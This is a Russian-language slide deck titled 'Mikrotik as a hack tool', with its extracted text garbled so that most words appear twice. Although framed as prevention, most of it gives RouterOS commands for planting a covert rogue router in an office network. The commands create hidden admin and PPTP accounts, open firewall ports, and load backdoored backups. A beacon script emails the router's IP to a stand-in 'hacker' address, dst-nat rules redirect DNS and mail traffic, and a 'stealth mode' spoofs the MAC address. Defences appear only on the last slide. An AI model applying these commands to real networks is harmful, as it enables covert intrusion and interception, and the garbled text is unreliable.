
MikrotikMikrotik каккак hackhack--tooltool

ПредотвращениеПредотвращение использованияиспользования
маршрутизаторовмаршрутизаторов MikrotikMikrotik длядля

полученияполучения несанкционированногонесанкционированного
доступадоступа кк сетямсетям..



ОфисныеОфисные моделимодели

ЧтоЧто можноможно сделатьсделать, , используяиспользуя
крупногабаритнуюкрупногабаритную модельмодель MikrotikMikrotik ??



ОчевидноеОчевидное –– включитьвключить отображениеотображение паролейпаролей ии
сделатьсделать PrtScrnPrtScrn



МенееМенее очевидноеочевидное ––
скриптскрипт, , создающийсоздающий ии удаляющийудаляющий пользователяпользователя сс

администраторскимиадминистраторскими правамиправами
/user add        name=test 

group=full 
password=test

/ppp secret add     name=ppp1
password=test 
local-address=192.168.0.2 
remote-address=192.168.0.254 
profile=default-encryption

/user     remove test
/ppp secret remove ppp10



СкриптСкрипт включающийвключающий PPTP PPTP серверсервер ии создающийсоздающий
правилаправила файрволлафайрволла длядля негонего..

/interface pptp-server set disabled=no

/ip firewall filter add chain=input
protocol=tcp
dst-port=1723
action=accept
disabled=no

/ip firewall filter add chain=input
protocol=gre
action=accept
disabled=no



ХранениеХранение настроекнастроек нана SMB SMB серверахсерверах вв сетисети



Portable Portable планировщикпланировщик сс помощьюпомощью которогокоторого можноможно
копироватькопировать настройкинастройки сс любойлюбой windows windows машинымашины



ВосстановлениеВосстановление настроекнастроек

/system backup load name=MikroTik-hack.backup

/system backup save name=MikrotiTik.backup

/system backup load name=MikroTik.backup



ПерсональныеПерсональные моделимодели

ПерсональныеПерсональные моделимодели
гораздогораздо опаснееопаснее стоечныхстоечных !!



RBRB--750up750up



RB951g-2hnd



ПочемуПочему ониони опасныопасны ??

 МалыеМалые габаритыгабариты
 ПитаниеПитание попо PoEPoE
 USB USB портпорт
 ГигабитныеГигабитные портыпорты ( ( RB951gRB951g--2hnd )2hnd )



НеНе привлекаетпривлекает вниманиявнимания



КудаКуда можноможно спрятатьспрятать ??

 ЗаЗа патчпатч--панельпанель
 ЗаЗа потолковуюпотолковую панельпанель
 ПодПод полкуполку вв сервернойсерверной стойкестойке
 МеждуМежду серверамисерверами
 ВнутрьВнутрь серверасервера
 ПодПод серверныйсерверный шкафшкаф

ПитаниеПитание попо PoEPoE !!



БезБез комментариевкомментариев







ЧтоЧто можноможно подключитьподключить черезчерез
USB USB ??

YotaYota ( LTE )( LTE )
СмартфонСмартфон ( LTE )( LTE )
3G 3G модеммодем
ВнешнийВнешний дискдиск ( ( длядля дамповдампов ))
ИИ дажедаже……



ПодключениеПодключение PPTP PPTP клиентаклиента кк удалённомуудалённому
серверусерверу делаетсяделается оченьочень быстробыстро

С удалённого сервера можно подключиться
и сделать любые настройки



СкриптСкрипт сообщаетсообщает ipip--адресадрес ии
состояниесостояние подключенногоподключенного

компьютеракомпьютера

/delay 120
:global ddnsip [ /ip address get [/ip address find interface=pppoe-out] address ]
:global identify [/system identity get name]
:global date [/system clock get date] 
:global time [/system clock get time] 
:global ping [/ping count=1 192.168.88.254]
:global desktop offline
if ($ping=1) do={global desktop online}
/tool e-mail send server="smtp.hacker.org" 

from=“rb951@mikrotik.com" 
to=“hacker@mail.ru" 
subject="$identify" 

body="system online $date $time $ddnsip Desktop is $desktop"



ПослеПосле полученияполучения доступадоступа

Packet Packet sniffersniffer ??
СовершенноСовершенно нене обязательнообязательно..

ГораздоГораздо опаснееопаснее::

NAT !NAT !



/ip firewall nat add
chain=dstnat
protocol=udp
dst-address=192.168.0.1 dst-port=53
action=dst-nat to-addresses=192.168.0.10 to-ports=53

/ip firewall nat add
chain=dstnat
protocol=tcp
dst-address=192.168.0.1 dst-port=25
action=dst-nat to-addresses=192.168.0.10 to-ports=25

Что можно сделать
с помощью NAT на Mikrotik ?



«Режим невидимости»

/interface ethernet set 
ether1-gateway mac-address=12:23:34:45:56:67

/tool mac-server disable 0,1,2,3,4,5
/tool mac-server mac-winbox disable 0,1,2,3,4,5
/ip address disable 0,1



КакКак предотвратитьпредотвратить ??

 НеНе делатьделать локальныхлокальных
пользователейпользователей, , толькотолько RADIUSRADIUS

 ПроверитьПроверить скриптыскрипты

 ИспользоватьИспользовать программупрограмму--
анализаторанализатор сетисети


